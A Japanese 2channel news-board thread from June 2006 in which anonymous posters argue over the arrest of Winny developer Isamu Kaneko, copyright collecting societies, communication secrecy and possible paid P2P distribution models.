111 :名無しさん@6周年:2006/06/15(木) 15:19:22 ID:f47XaJyY0
>>110
駄目だこりゃ。
IDSじゃないということはわかってるって最初から言ってるのすら読み取れないのか。
こういうサポーターしかいないなら箸にも棒にもひっかからなくても仕方ないな

112 :名無しさん@6周年:2006/06/15(木) 15:20:32 ID:I6s5wWS+0
nyを消して回るウイルス(ワクチン?)を流せばいいんだよ!
すんごい強力な奴

113 :名無しさん@6周年:2006/06/15(木) 15:20:51 ID:Xp5ixLsv0
>>110
横からスマン
すまん、お前さんのトンでも理論は、俺も理解できんから、
きちんと分かるように説明してくれ。

>>104  とかも、どうやらそう思ってるみたいだしな。


114 :名無しさん@6周年:2006/06/15(木) 15:21:58 ID:Vt6reWQR0
>>110
おまいがとてもかわいそうな人であることは理解したw

115 :名無しさん@6周年:2006/06/15(木) 15:22:07 ID:aRc2j5FR0
>>112
そういやウィルスバスターの最新版ってnyかってに消すんだっけ?
ウィルスじゃないただのフリーソフトを勝手に消すなっての

116 :名無しさん@6周年:2006/06/15(木) 15:22:34 ID:9PPzKi380
>>112
お前、もしそんな極悪なワクチンソフトが出てきたとして、それの亜種が出回ってny以外のファイルも自動で削除されたらどうするのよ。


117 :名無しさん@6周年:2006/06/15(木) 15:22:38 ID:2I9FUmti0
>>109
つまり国会で議論して日本の姿勢を検閲主義であれ自由主義であれ
示さなければ解決しない問題だな。
大手ISPが堂々と検閲宣言してる状況はどうにかしないといけない。

118 :名無しさん@6周年:2006/06/15(木) 15:24:18 ID:YJet0T4S0
>>111

答えろよ、IDSで検知できると思っているのか??



119 :名無しさん@6周年:2006/06/15(木) 15:24:31 ID:I6s5wWS+0
>>116
皮肉だ
察して

120 :名無しさん@6周年:2006/06/15(木) 15:25:05 ID:0mJGQ0tZ0
ぶっちゃけ、著作権が守られるシステムだったら広まらんよ
犯罪目的で作った犯罪者用ソフトだったから広まった
そんだけじゃねーの?
キム被告がかっこいい理想・目的を後付してるけど誰もしんじねーよ

121 :名無しさん@6周年:2006/06/15(木) 15:25:17 ID:9PPzKi380
まぁ、インターネットなんて国の垣根越えちゃうんだから、著作権とかは国家間でスタンダートな方法を決めてくとか必要なんじゃね。
まぁ、中国とか韓国とか国家によって立場はさまざまでなかなか決まらないと思うけど。


122 :名無しさん@6周年:2006/06/15(木) 15:26:16 ID:5s94eCFs0
インターネット共産主義党『winny党』マダー?

123 :名無しさん@6周年:2006/06/15(木) 15:26:27 ID:VCpa+oLV0
カスラックをこのまま放置してはいけない

124 :名無しさん@6周年:2006/06/15(木) 15:27:26 ID:JLsJkbPA0
金子さんは開発者としては超一流だけど
ジオシティーズjpにファイルを置いたり
2ちゃんでうろうろしたり
ネット界には全く精通してなかったんだ。

125 :名無しさん@6周年:2006/06/15(木) 15:27:57 ID:Xp5ixLsv0
ようは、暗号化パケットの問題は通信の秘匿の議論と密接かかわって来る。

それだけでも、はっきり言って大きなテーマなのに、カスラックとかでグダグダな
音楽の著作権とかも議論の視野に入ってる。

その上に、winnyは、開発者の開発の自由すら議論に入れてくれるからねえ。
包丁が凶器に使われたら、包丁を作った職人をしょっ引く?みたいな事やっち
まったからなあ。

この逮捕は、はっきりいって検察の単なる大チョンボ。どう収拾つけるか、検察
も大弱りだよ。多分。

126 :名無しさん@6周年:2006/06/15(木) 15:29:25 ID:f47XaJyY0
>>124
精通はしてないにしろ、ネットでは3D野郎とかの交流はあったよな
ネットワークソフトを作ったのはwinnyが初作品と>>1の記事でも言ってるけど
確かに開発当初のスレではportのendian間違いとか、初歩のミスやってたのを
思いだすなあ。

127 :名無しさん@6周年:2006/06/15(木) 15:29:59 ID:tHj4d4/g0
>>122
P2P技術は格差を生むと思うがね

128 :名無しさん@6周年:2006/06/15(木) 15:30:05 ID:G8F+xMlI0
2chは国益に反するので弾圧すべき


129 :名無しさん@6周年:2006/06/15(木) 15:32:22 ID:TtskfCyS0
このスレだめぽ・・・ニュー速+はリンク張られた時くらいしか来ないが
ここの住民も所詮ニュー速やVIPと同レベルか・・・

俺の主張は
>>35 >>40 >>69

にまとめた通りだが、問題点としてあげられるのは
・流通方式の転換により被害を受ける産業の方々が多い事。
・各業界内部のどろどろの利害関係の対立や各種しがらみ
・現在の日本(世界中)のネットワークの帯域不足

が上げられる。

>>100
全くすりかえじゃない。
全体の秩序の安定化の為には、こういう言い方はしたくないが
いわゆるアングラ界の存在も必要。
Nifty等の発表によれば実際にWinnyを頻繁に利用している利用者数は全体の
1〜2%程度という統計結果。
Winnyには見せしめの牽制程度をおこなっておくだけで、残りの99%を獲得し利益を得れば
少数のWinny利用者による損害は完全に無視できる。
さらに市場を海外に広げる事ができれば、おつりが来てあまりある。

またWinnyと対比しながらたった月○○円で!安全に!合法に!とキャンペーンを
張れば広告効果的にも一般受けしやすい。

130 :名無しさん@6周年:2006/06/15(木) 15:32:48 ID:I6s5wWS+0
仮に全く暗号化されてなかったとしても
通信の秘密を定めた憲法に違反する行為の上でしか捜査不可能
こんな正当性を欠いた捜査の上でしか逮捕が出来ないのだから
目をつけた上で別件逮捕しかありえない
これはもうゆるぎない現実
その上でどう著作権者の保護を図るか、という話

131 :名無しさん@6周年:2006/06/15(木) 15:34:31 ID:tDF7keNd0
>>125
確かに、引っ込みが付かなくなっているだろうな。
これ、もし金子氏が有罪ってことになったら、使用者側も云々ってことになりかねないし、
そうなったら京都府警の(ry

132 :名無しさん@6周年:2006/06/15(木) 15:34:32 ID:Om3z/ryj0
2006 0613 VOICE ウィニー開発者が語る虚と実
ttp://www.youtube.com/watch?v=-cAoogyuYVY
ttp://www.youtube.com/watch?v=Boc2upL-brw
_
良かったら見てください(*゚∀゚)=3 ムハー

133 :名無しさん@6周年:2006/06/15(木) 15:34:33 ID:2I9FUmti0
>>129
おまえが言ってるのは単にwinnyに管理組織を作れってことなんじゃないの?

134 :名無しさん@6周年:2006/06/15(木) 15:34:59 ID:YJet0T4S0

関係者が混ざってるな。


135 :名無しさん@6周年:2006/06/15(木) 15:37:30 ID:f47XaJyY0
>>132
ほんとだ、冒頭で「国益」って言ってるw

136 :名無しさん@6周年:2006/06/15(木) 15:37:59 ID:KLsKOLBG0
>>133
認証機構やら決済機構やらは第3者が用意してもかまわんってことだろ

後者はたとえばモリタポAPIをつかうとか

137 :名無しさん@6周年:2006/06/15(木) 15:41:01 ID:TtskfCyS0
>>133
コンテンツが適正に管理されたP2P網が必要って事。
誰でもどこからでもアップロードではなく、安全性を認められた物の一次放流のみに
限定する。
但し、コンテンツ内容の検閲はNG。
勿論、アマチュアの著作物でも簡単な申請で許可されて配布してもらえるような。
DLも完全に把握できるようにして課金または利益配分に利用する。
テレビコンテンツなんかも今はわざわざDVD出版しなければほぼ死蔵されている
形だけれどもDLによって2次収入の分配が入るならば、TV局等の大量のコンテンツ
保持者にとっても悪い話じゃないはず。(電通の圧力をのぞけば)

ただこれだと、エロ分野が困っちゃうんだよね〜という事でWinny自体はそのまま
残って欲しい。(ほぼエロ専用機になるだろうが)

138 :名無しさん@6周年:2006/06/15(木) 15:41:44 ID:NzWHtQxK0
>>129
Winnyである必然性はぜんぜんないんだろ。
流通サービスとしてP2Pを考えているんなら
個人の認証は欠かせないはずだから。
己のレベルが低いことに気づけよ。

139 :名無しさん@6周年:2006/06/15(木) 15:42:27 ID:2I9FUmti0
>>136
うん、だから別にwinnyはインフラであればいいってことだよな。
著作厨はどうもそれをごっちゃにしたがる。
コンテンツっていうのはデータと表示方式(認証含む)がセットであるべきなのに
表示方式を無責任にしているからこういう問題となってる。
事業転換に金がかかるのは当然。
それをwinnyみたいな新しい潮流のせいにするのは責任転嫁。

140 :名無しさん@6周年:2006/06/15(木) 15:43:10 ID:KLsKOLBG0
>>138
どこをどうみても>>129にはWinnyである必然性に関する記述がみあたらんのだが、説明してくれ。

141 :名無しさん@6周年:2006/06/15(木) 15:45:41 ID:M+7IZIbl0
>>139
BSやCSなどのコンテンツには認証があるにもかかわらず、
WINNYに普通に流れていないか?

142 :名無しさん@6周年:2006/06/15(木) 15:45:45 ID:2I9FUmti0
>>137
だから管理組織があればいいという考えだろ。
おれは>>139の通り、コンテンツ供給側がそれにあわせろって考えだ。
winnyはインフラ用途でいい。
それ以上の(著作権管理のような)社会的機能はむしろないほうがいい、
悪用するものもいるかもしれないから。

143 :名無しさん@6周年:2006/06/15(木) 15:47:49 ID:2I9FUmti0
>>141
供給側がそれを許さないならそれも変える必要があるね。
おれがいってるのはコンテンツ供給というのは
コンテンツ側が100%の責任のもとにやるべきだということ。
winnyのせいだとかは責任転嫁。

144 :名無しさん@6周年:2006/06/15(木) 15:47:50 ID:r3P8tOKz0
ny金子氏は正義の味方。

145 :名無しさん@6周年:2006/06/15(木) 15:48:13 ID:/l14Pn3V0
とにかく47氏は無罪でしょ。
こんな馬鹿なことやってる国は日本くらいだ。
京都府警は解散しろ。

146 :名無しさん@6周年:2006/06/15(木) 15:49:03 ID:afMUBvOO0

65 :名無しさん@明日があるさ :2005/11/16(水) 00:44:16
アメリカの調査結果により、パンはとても危険な食べ物だということがわかった。
以下がその理由である。

1) 犯罪者の98%はパンを食べている。
2) パンを日常的に食べて育った子供の約半数は、テストが平均点以下である。
3) 暴力的犯罪の90%は、パンを食べてから24時間以内に起きている。
4) パンは中毒症状を引き起こす。被験者に最初はパンと水を与え、後に水だけを与える実験をすると、2日もしないうちにパンを異常にほしがる。
5) 新生児にパンを与えると、のどをつまらせて苦しがる。
6) 18世紀、どの家も各自でパンを焼いていた頃、平均寿命は50歳だった。



147 :名無しさん@6周年:2006/06/15(木) 15:49:44 ID:I6s5wWS+0
なんにしろ
正規サービスとして違法性のない
有料winnyがあるならば
それはそのまま違法winnyの駆逐に繋がるから一石二鳥
問題は裁判が変に長引く事かな・・

148 :名無しさん@6周年:2006/06/15(木) 15:54:11 ID:f47XaJyY0
winnyを含むP2Pネットワークは
すべてのファイルが「いつ、誰によって投入されたか」が追跡可能にさえなれば
違法コンテンツは激減させることはできるだろうけど

現行winny自体は消せないのでアングラで維持されてしまうだろうな

149 :名無しさん@6周年:2006/06/15(木) 15:54:53 ID:TtskfCyS0
実際金子氏も今は、Winnyの問題点を認めて、ビジネスとしてなりたつ
P2Pシステムを考えているわけでしょ?

表では各種の著作物の正規品を今よりも安い料金で入手可能なインフラを
普及確立させる。
その際に、課金管理、著作権管理、暗号化の管理の為の中央管理機関は必要。
また一般PCからの放流は不可にする。
例えるならば、ガキの使いDVD発売じゃなくて今までの全放映分を好きな時に
見れるようにする感じで。


エロや表に出せない物なんかはこそこそ裏でWinny等でやりとりする。
そこには当然監視や見せしめタイーホなどを適宜行って十分に規模を縮小させる。

この二本立てがベター。


150 :名無しさん@6周年:2006/06/15(木) 15:55:18 ID:aRc2j5FR0
>>147
えーと、なんでそうなるの?
今のnyユーザーがなんでそんな有料で違法性のないものに移行するなんて、楽観的な考えが出るのか・・・
縛りの無い、従来のものを使用しつづけるに1000ペリカ

151 :名無しさん@6周年:2006/06/15(木) 15:55:22 ID:9kdxOA940
結局利権でごたごたしてるからユーザーの利便性に答えられるサービスが
提供できてない。TV番組でもそうだけど電波に乗せて放送はokだけど
ストリーミングは駄目ってのがまずおかしいだろ。法整備からまずなんとかすれ。

雑誌なんかもそうだけど立ち読みみたいなのが出来るシステムにして気に入ったら
購入して定期的に発売日に新刊がPCに送られてくるとかならいいな。

そういう利便性をもうすこしなんとかできね?

152 :名無しさん@6周年:2006/06/15(木) 15:56:20 ID:2I9FUmti0
>>147
だからこの問題の一番の間違いは
金子を逮捕させちまったことなんだよ。
金子に著作権管理の方法についてコンサルタントさせればよかった。
メーカーの狭窄した視野が現在の混乱につながっている。

153 :名無しさん@6周年:2006/06/15(木) 15:57:03 ID:eZh+8mmp0
P2Pなんかなくならないって、PC使えないオッサン達は勉強したほうがよい

154 :名無しさん@6周年:2006/06/15(木) 15:59:39 ID:2I9FUmti0
>>149
中央管理とかやめてくれ。新たな利権を生むだけだ。

データ表示が時限性になるとか、そうした技術開発をすれば
現状でも十分課金方式は成立すると思うよ。

155 :名無しさん@6周年:2006/06/15(木) 15:59:40 ID:AaT5qdpM0
nyサイコーって奴は多いけど、nyなんかメチャクチャ不完全じゃん。
そもそもからして、コンテンツの配布をボランティアに頼っている辺り駄目すぎる。
偽装ファイルは山ほどあるし、ファイルの三つに一つはウィルス入り。
それでもまだこれだけの利用者がいる時点で、p2pの威力と将来性がわかりそうなものだがな。
完全クリーン保証のnyが出たら、携帯電話代くらいの固定費用を負担してでも使いたいって奴は
いくらでも出てくるだろう。集めた金をコンテンツ供給元に配れば、会社が自分からコンテンツを
放出し始めるようになるだろう。
仕組みが整った頃には、現行nyなんかアングラ扱いで闇に消えるさ。

156 :名無しさん@6周年:2006/06/15(木) 16:00:11 ID:TtskfCyS0
>>150
今のnyユーザは基本的に問題にしていない。

一家で父・母・息子・娘がいた場合に息子がnyをやっていたとしても
父・母・娘を正規サービスに取り込める。

極一部のヘビーユーザは残るが、ビクビクしながら使っていたり
Download板なんかでやり方がわかりません!>カエレとか言われてる連中も
正規サービスに取り込める。

157 :名無しさん@6周年:2006/06/15(木) 16:04:27 ID:TtskfCyS0
>>154
あくまでも俺の拙い頭から一例としてあげただけで、色々な優秀な技術者が
知恵を絞ればもっと様々なスタイルが考えられるだろう。

一番の問題点は、現在の利権団体や著作権保持者の頭が固い事だな。


158 :名無しさん@6周年:2006/06/15(木) 16:05:27 ID:eksgtbAzO
国益?(゚Д゚)ハァ??

妄想にもほどあるぞ

159 :名無しさん@6周年:2006/06/15(木) 16:07:13 ID:+MwgAgjIO
月500円で好きなだけアップダウン。
集めた金は運営費を除いてアップダウンの多い順番に配当。
データ作る側も人気出れば金たくさんもらえるし、みんな万々歳だ。



カスラックとその利権にあやかってる人間は大打撃を被るが。

160 :名無しさん@6周年:2006/06/15(木) 16:07:29 ID:jG5SOB+O0
国益ってのはちょっと変だよな
人類全体の利益とでも言わないとね
金子はがんばってほしいよ、警察はアメリカからこいつを逮捕しろとでも言われたのかね

161 :名無しさん@6周年:2006/06/15(木) 16:08:32 ID:MeZb7glU0
金子って人は結局ny作ったことで得はしたの? 逮捕されたけど名前は滅茶苦茶広まったし
いろんなソフト会社からスカウトは来ないの?

162 :名無しさん@6周年:2006/06/15(木) 16:08:55 ID:B+KrkaFK0
金とるからにはnyより便利じゃないと広まらないな
ただのものとの競争は大変だ

163 :名無しさん@6周年:2006/06/15(木) 16:10:09 ID:SmL6n1XT0
>>158
こんなのが有罪になると技術屋の開発に影響してくるからな

164 :名無しさん@6周年:2006/06/15(木) 16:10:38 ID:RNeOOmw20
>>161
研究者としてのエリートコース外れたし無茶苦茶損してるんじゃないの

165 :名無しさん@6周年:2006/06/15(木) 16:11:08 ID:2I9FUmti0
>>157
ああ、時限表示のビューワ付コンテンツを流すとかいろいろあると思うよ。
実際100万人のwinnyネットワークはCMとしても有効だしな。
だから、著作権団体(ていうか代理店か?)はもう少し頭を捻ればいいと思う。
現状、金子の裁判で動けなくなって被害があるのはやつらかも知れんな。

166 :名無しさん@6周年:2006/06/15(木) 16:11:17 ID:TtskfCyS0
後は集中管理の問題としては事実上の「検閲」が恒常化してしまう事。
これは怖い。

>>158 >>160
国益といっているのは、10年後P2Pを利用したコンテンツ配信ビジネスが
世界的にメインストリームになっていくという確かな予測から来ているものだよ。
そこで先駆者になれるか、アメリカ等に後追いに終始するか。

むしろ日本の場合、旧態依然とした利権構造が残って世界の流通ネットワーク網から
完全に取り残される恐れすらある。

167 :名無しさん@6周年:2006/06/15(木) 16:11:20 ID:9kdxOA940
>>162
ユーザーからしたら値段より価値だよ。とくに小額のものならなおさら。

168 :名無しさん@6周年:2006/06/15(木) 16:12:14 ID:jG5SOB+O0
>>161
アメリカだったらCIAとかNSA入りだろうなぁ

169 :名無しさん@6周年:2006/06/15(木) 16:13:30 ID:aRc2j5FR0
>>164
微妙な状態
研究者としては追い出されたけど、技術者としては名が通ったのも事実
なんか企業と組んで、ソフトを開発してるとの話もあるし

170 :名無しさん@6周年:2006/06/15(木) 16:15:01 ID:jG5SOB+O0
>>166
なるほど
JASRACとレコード会社がゴネてる間にiTunesにやられちゃったみたいなもんか

171 :名無しさん@6周年:2006/06/15(木) 16:16:28 ID:py+fR9Mi0
>P2Pを利用したコンテンツ配信ビジネス

こんなものが一人勝ちする世の中はいらないよ。
著作者の一人一人が汗をかいてこそ、社会は進歩する。


172 :名無しさん@6周年:2006/06/15(木) 16:16:58 ID:I6s5wWS+0
アングラとしてはnyは残り続ける
それは間違いない
そこはやっぱり後ろめたさが付きまとうし
ウイルスも偽装ファイルもいっぱいだ
代わりに正規品のほうは後ろめたさからの解放と
もしかすると公開の速さも獲得するかもしれない
ユーザの多さがそのままファイル伝播速度に繋がるから
ライトユーザを引っ張るだけで現行nyには大打撃

173 :名無しさん@6周年:2006/06/15(木) 16:17:04 ID:SEOExgtf0
>>169
つーか、東大助手ったって任期付きのヤツだし、
元から研究者エリートコースなんかじゃないって

nyで名を上げなければ、ヘタすりゃ卒業後
行方不明者コースまっしぐらもありえた

174 :名無しさん@6周年:2006/06/15(木) 16:17:06 ID:Os2e0Nyj0
人間が作るものである以上、「プログラム」だろうが、「裁判」、「法律」、「警察」云々
欠陥はいくらでも出てくる〜
そして欠陥につけ込む輩もどんどん出てくる〜


175 :名無しさん@6周年:2006/06/15(木) 16:18:08 ID:IbSmBOnA0
「あらゆる種類のメディアを保存し、共有することができる無限大の容量と帯域幅を持った
プラットフォームGoogle Grid」なるものが噂されている。
http://www.pc-view.net/Business/041130/page21.html

176 :名無しさん@6周年:2006/06/15(木) 16:18:18 ID:SmL6n1XT0
>>171
汗かき推進運動の人キター

177 :名無しさん@6周年:2006/06/15(木) 16:19:10 ID:L8dRL/X50
ウィルスの製作者を捕まえろよ。
暗号化されてたのは全部解読したんだろ?

178 :名無しさん@6周年:2006/06/15(木) 16:19:18 ID:A0Hd7JaS0
原則論としては使用者の責任だと思うが。
俺的にはwinnyは例外。
アメリカでサイレンサー(銃器用消音器)の所持を
厳罰にしているのと同じ。

179 :名無しさん@6周年:2006/06/15(木) 16:19:48 ID:TtskfCyS0
>>171
著作者の汗が、今よりも正当に報われてより多く著作者に還元されるシステムと
捉えるものだと思うけれども・・・。
現在の代理店や流通業者や中卸や印刷・出版業者や販売店に中抜きされている
中間コストを大幅に削減できるわけだから。

180 :名無しさん@6周年:2006/06/15(木) 16:20:16 ID:KLsKOLBG0
>>173
もともと博士とったあと、某3Dソフトの会社にいたらしい(いまはつぶれてソフト自体は別会社から出ているが)

181 :名無しさん@6周年:2006/06/15(木) 16:21:14 ID:9kdxOA940
>>171
著作者に宅配までしろってこと?
ようは著作者と著作物利用者の間のトラフィックの変化が根本にあるだけで
本来困るのは現流通関係と中間搾取層なはずなんだけど。
P2Pとかに限らずネット流通できるものの流通コストは圧倒的に下がるから
無駄なものがかまなくなった著作者と利用者は大歓迎な方向に行くべきだと思うよ。

182 :名無しさん@6周年:2006/06/15(木) 16:22:05 ID:I6s5wWS+0
俺のポエムを20円で買ってくれとか
そういう感じになればいい

183 :名無しさん@6周年:2006/06/15(木) 16:22:36 ID:YJet0T4S0
>>166

NTTがやってる可能性ある。

新機能の実装を今月やって、通信テストを開始したとたんに
NTTの関連研究所から毎日のように経路探査が来るようになった。

今までこんなことはなかったんだけど、
こちらも通信が見えるからこのことがわかった。

黙ってやるとはどうなんだろ。技術情報を盗むつもりなのかな?



184 :名無しさん@6周年:2006/06/15(木) 16:23:29 ID:2I9FUmti0
>>172
うーん、でもな遊びがないものは「道具」にはなっても「社会」にはならないと思うんだよな。
「社会」ってのはなんというか色気が必要なわけよ。
パソコン通信にしろインターネットにしろ発展理由にエロだのなんだのがあるってのは
そういう後ろめたさが生きるスパイスになるっていう部分を刺激してるんじゃないかと。
ガチガチの検閲システムだったら面白みがないよな。

185 :名無しさん@6周年:2006/06/15(木) 16:24:23 ID:jHCeCCZv0
ヨガ教室はまずいな。
オウム真仙の会になっちゃうから。

186 :名無しさん@6周年:2006/06/15(木) 16:24:27 ID:FaAz2WvY0
>>171
CDやらレコードやらなんてのは汗掻かない商売の典型
そんなに汗掻いてる連中の応援がしたいならCD買って
JASRACにお布施するんじゃなくコンサートに行きゃいいんだよ

金持ちの連中も好きな歌手だのアニメーターだの
極貧で喘いでる連中をじゃんじゃん囲えばいい
昔はそうやって文化を保護してきたんだからな

187 :名無しさん@6周年:2006/06/15(木) 16:25:04 ID:aRc2j5FR0
>>172
アングラに勝つのは相当難しい
現行のソフトを締め付けながら新規ソフトを広めるとかじゃないと、移行は進まないだろう

どう考えても公開中の映画が流れるとか、出て1週間のソフトが流れるとか、正規では到底無理

あと、ネトラン厨みたいなライトユーザーの方が後ろめたさが無いような気がするのは俺だけかな?
前スレで暴れて放置されてた「タダサイコー」みたいなやつとか

188 :名無しさん@6周年:2006/06/15(木) 16:25:19 ID:jG5SOB+O0
>>183
全家庭が盗聴されるアメリカみたいにするための下準備だろ

189 :名無しさん@6周年:2006/06/15(木) 16:25:31 ID:TtskfCyS0
数年後には色々なスッドレで

・佐川乙
・TSUTAYA乙
・大日本印刷乙
・はいはいHMVワロスワロス
とか言われてるかもしれない

190 :名無しさん@6周年:2006/06/15(木) 16:28:57 ID:I6s5wWS+0
>どう考えても公開中の映画が流れるとか、出て1週間のソフトが流れるとか、正規では到底無理
論の流れで言うと
損したくないなら映画館を捨ててもらうしかないですねー
ここで言う映画館は”中間業者”なんだよね
コンテンツの価値の再構築が行なわれるかも知れんね

191 :名無しさん@6周年:2006/06/15(木) 16:34:01 ID:YJet0T4S0
>>188

基幹(根っこ)でやられると困る。

通信解析といっても「自衛手段」だから根っこには売らない方針なんだが。

それをいいことに他社が売ってるんだろうな。
どこの会社の製品を使っているんだろうか。。。



192 :名無しさん@6周年:2006/06/15(木) 16:34:32 ID:2I9FUmti0
>>190
ていうか映画館が生き残りたいなら持ち物チェックを厳重にするしかないんじゃん?

193 :名無しさん@6周年:2006/06/15(木) 16:34:42 ID:1o/VsptF0
>>186
>そんなに汗掻いてる連中の応援がしたいならCD買って
>JASRACにお布施するんじゃなくコンサートに行きゃいいんだよ
コンサート代にもJASRACへの支払い分が含まれてますが、何か?

JASRACを避けるためにはブロマイド買うとかだけど、汗掻いてないプロダクション
の連中とかがかなりもってくけどな。

194 :名無しさん@6周年:2006/06/15(木) 16:35:15 ID:TtskfCyS0
>>190
CD販売店とレンタル屋はまじ乙るかもしれないけど、なんらかのコアコンピタンスを
持っている所は被害は受けるだろうけど生き残りはできるだろうしさ。

映画館はデートに誘うきっかけ作りに重要だし、映画館並みの大画面や音響設備を
そろえるのは一般人には不可能だし。
書籍は書籍としてデータ化された状態以外に、コンパクトで外に持ち出して読んだりする
メリットがあるし。
データ化出来ない物が存在する以上流通業がなくなることはないしね。

195 :名無しさん@6周年:2006/06/15(木) 16:36:13 ID:amY+hAtUO
ダウソでは中間業者の関与の少ない同人作品もやりとりされてるこの現実

196 :名無しさん@6周年:2006/06/15(木) 16:38:14 ID:TtskfCyS0
>>195
やりとりはされているがクリムゾンは年収4000万な現実

197 :名無しさん@6周年:2006/06/15(木) 16:38:20 ID:AaT5qdpM0
>>187
勝ち負けの定義がどこにあるのかはおいとくとして。
よほど高価で希少なものならともかく、たかが百円千円のコンテンツのために
対アングラ知識を詰め込んで、危ない橋を渡りたがるような人間ばかりじゃない。
ただサイコーのパープリンなライト層は、ウィルスまみれになって橋から転げ落ちることになる。
正規の配布網が出来れば、現行nyが大幅縮小するのは間違いない。

198 :名無しさん@6周年:2006/06/15(木) 16:38:53 ID:hpljUbMc0
ウィルス蔓延の問題は日本人のモラルの低さ
ただそれをウィニーは露呈しただけ

包丁で人を殺して、包丁が悪いって言ってるのと一緒w

199 :名無しさん@6周年:2006/06/15(木) 16:40:28 ID:Xp5ixLsv0
>>178
それ全然例えてないよ。

例えるなら、サイレンサーの開発者と、サイレンサーを開発、販売した
業者を厳罰に処したならわかるけどね。

200 :名無しさん@6周年:2006/06/15(木) 16:40:40 ID:jG5SOB+O0
>>196
要するにあれだよ、nyとか使ってる人はそれらのソフトが使えなくなったら正規版を購入するように
なるのか?って問題で、そういう人って結局金払ってまで見ないんじゃないのってことだよな

201 :名無しさん@6周年:2006/06/15(木) 16:42:07 ID:I6s5wWS+0
ただ
そうなるならそうなるでカスダックやら大御所作家やら
そういう大手には相当抵抗が入るだろうから
現状から考えたらほぼ実現不可能

んでグダグダやってるうちに同じような概念とアプリが輸入されてきて
流されるように認めざるをえなくなって
海外に搾取される、って流れなんだろうね・・・

202 :名無しさん@6周年:2006/06/15(木) 16:43:16 ID:9kdxOA940
逆に多くの目に触れられて需要が増えたってのもあるかもしれんね。同人誌みたいなものだと。
まぁ特殊な例だろうけど。


203 :名無しさん@6周年:2006/06/15(木) 16:47:13 ID:J2NmEMxx0
今やノートPCでワープロ程度しか使わない連中すら
うぃにーうぃにー騒いでるからなw

204 :名無しさん@6周年:2006/06/15(木) 16:47:54 ID:1o/VsptF0
>>202
メジャーな世界でも、音楽番組でがんがん流れてる曲のレコードの需要はいくらでもあったのだが?

205 :名無しさん@6周年:2006/06/15(木) 16:47:57 ID:xa1X4Z9l0
ソフトを作った人=包丁を作った人 → 幇助で有罪
ソフトを使った現職警官=包丁で人を殺した人 → 無罪

いったいどういう理屈なんだ?w
唯一あてはまりそうなのが、「一般人なら有罪、警官なら無罪」という理屈なんだが。

206 :名無しさん@6周年:2006/06/15(木) 16:50:31 ID:Xp5ixLsv0
>>205
そりゃあ、簡単だよ。

一般人、いくらでも逮捕してOK!検察の権力でどんな逮捕も有罪に
警察、仲間なので絶対逮捕はしない。

それだけじゃん

207 :名無しさん@6周年:2006/06/15(木) 16:50:56 ID:aRc2j5FR0
制作費数十億〜数百億の映画をリリースする。
ゲームやアプリケーションなどもリリース。
ペイするにはどれほど取ればいいのかわからない。
定額制にしたら、ライトユーザーにはとんでもなく高いものになりそうだし、従量制にしたら気軽に使えない。

>>197
日本人って、結構そういう面貧しい人多いよ
ネットゲームだって、月1000円取ったら人があまり来ない。タダにしたら、人であふれかえる。
タダにしたらまともにコンテンツ管理ができなくなる。糞ゲーの出来上がり。
これの連続。
楽しみたいんだったら月1000円くらい払えよって思うが、1000円と0円の壁はかなり大きい

208 :名無しさん@6周年:2006/06/15(木) 16:55:23 ID:AaT5qdpM0
>>202
余程作品の質が高ければそれも真実なんだよね。
ただ世の中のコンテンツ制作者のみんながみんな、そういう高レベルの作品ばかりを
作っている訳じゃない。好不調はあるし、どんな名人も若い時は三流だったりする。
消費者としては、ある程度積極的に裾野を維持する必要があるわけだ。
ま、中間流通業者は裾野に入ってないけどね。

209 :名無しさん@6周年:2006/06/15(木) 16:58:01 ID:i3lFOmCo0
>>205

金子が作ったのは殺人専用の包丁

料理用として使ってるやつは皆無
作った意図も明白

210 :名無しさん@6周年:2006/06/15(木) 17:00:06 ID:6atkfBcw0

キャプ画像 ttp://www.uploda.org/uporg418119.jpg.html
ミラーttp://www.acbomb.com/~adultnavi/upload/src/anu0477.jpg.html

キャプ画像をHPやブログに載せるのならこれを落としてね
ttp://uppp.dip.jp/src/uppp38849.zip.html


211 :名無しさん@6周年:2006/06/15(木) 17:00:25 ID:SmL6n1XT0
>>209
>殺人専用の包丁

事実誤認

212 :名無しさん@6周年:2006/06/15(木) 17:01:28 ID:Xp5ixLsv0
>>209
と検察は証明したいんだよね・・・。

完全にそれ自白とらなきゃ無利だけどw

213 :名無しさん@6周年:2006/06/15(木) 17:02:11 ID:TtskfCyS0
そりゃ色々な問題は出てくるだろうし、世界的にも色々な会社・派閥・サービスに
分かれて混沌としたものになってしまうだろうな。

俺が言ったような完全に全てのコンテンツが一元化されて管理されて単一の
インタフェースから操作できる形態が利用者にはスマートで使いやすくて
トータルの料金も抑えられそうだが所詮は理想論。

個々タイトルの収益計算までは俺が考える問題じゃないし各社の英断に期待するしか
ないわけだけれども。タイトル別に枠からはずしたり、敢えて枠に加わらない会社
も出るだろう。(恐らくかなりうざがられて逆効果・・・)


214 :名無しさん@6周年:2006/06/15(木) 17:04:57 ID:Xp5ixLsv0
>>209
あと、一番の検察の問題は・・・。

>>金子が作ったのは殺人専用の包丁
って仮に証明(まず、これが出来ないんだけどねw)できたところでさ

じゃあ、その殺人専用の包丁使った、京都県警の人は逮捕されないの
って言う最大の矛盾を更に抱え込むとこなんだよな・・・。

有罪に持ち込んでも、自分がボロボロになる、もうどうしようもない行き
止まり状態w

215 :名無しさん@6周年:2006/06/15(木) 17:07:15 ID:AaT5qdpM0
>>207
ネトゲの場合、0円のゲームをやるのが"危ない橋"というわけじゃないからな。
糞ゲーになりやすいと言う本質的なデメリットがあるにせよ、明確な因果関係があるわけじゃなし、
ユーザーからしたら金を払う直接的なメリットが見えにくい。
一方0円のnyは、現状でウィルスだらけの餓鬼道と言うことが決定している。
これは結構差があると思うが。

216 :名無しさん@6周年:2006/06/15(木) 17:11:17 ID:I6s5wWS+0
段階を踏んで”変わっていくとしたら”どういう風に流れていくんだろう

217 :名無しさん@6周年:2006/06/15(木) 17:15:44 ID:TtskfCyS0
>>216

俺が思うに、大量に死蔵されているテレビコンテンツの開放が魅力的だと思うな。
後はベタだがiTunesの後追いで音楽。
そしてレンタル屋で垂れ流している映画。

一般層の取り込みを狙うならまずこの3本の全てまたはいずれかをカバーする
サービス。

Yahooとかでコミックが読める!とかやってるが反応は薄いように感じる
やっぱり↑だろう。

218 :名無しさん@6周年:2006/06/15(木) 17:22:05 ID:gueA4m7YO
包丁と言うより拳銃だよねしかも登録無視で使える

219 :名無しさん@6周年:2006/06/15(木) 17:29:50 ID:PlVXzNie0
んじゃオレは未成年でも買えるタバコの自動販売機で

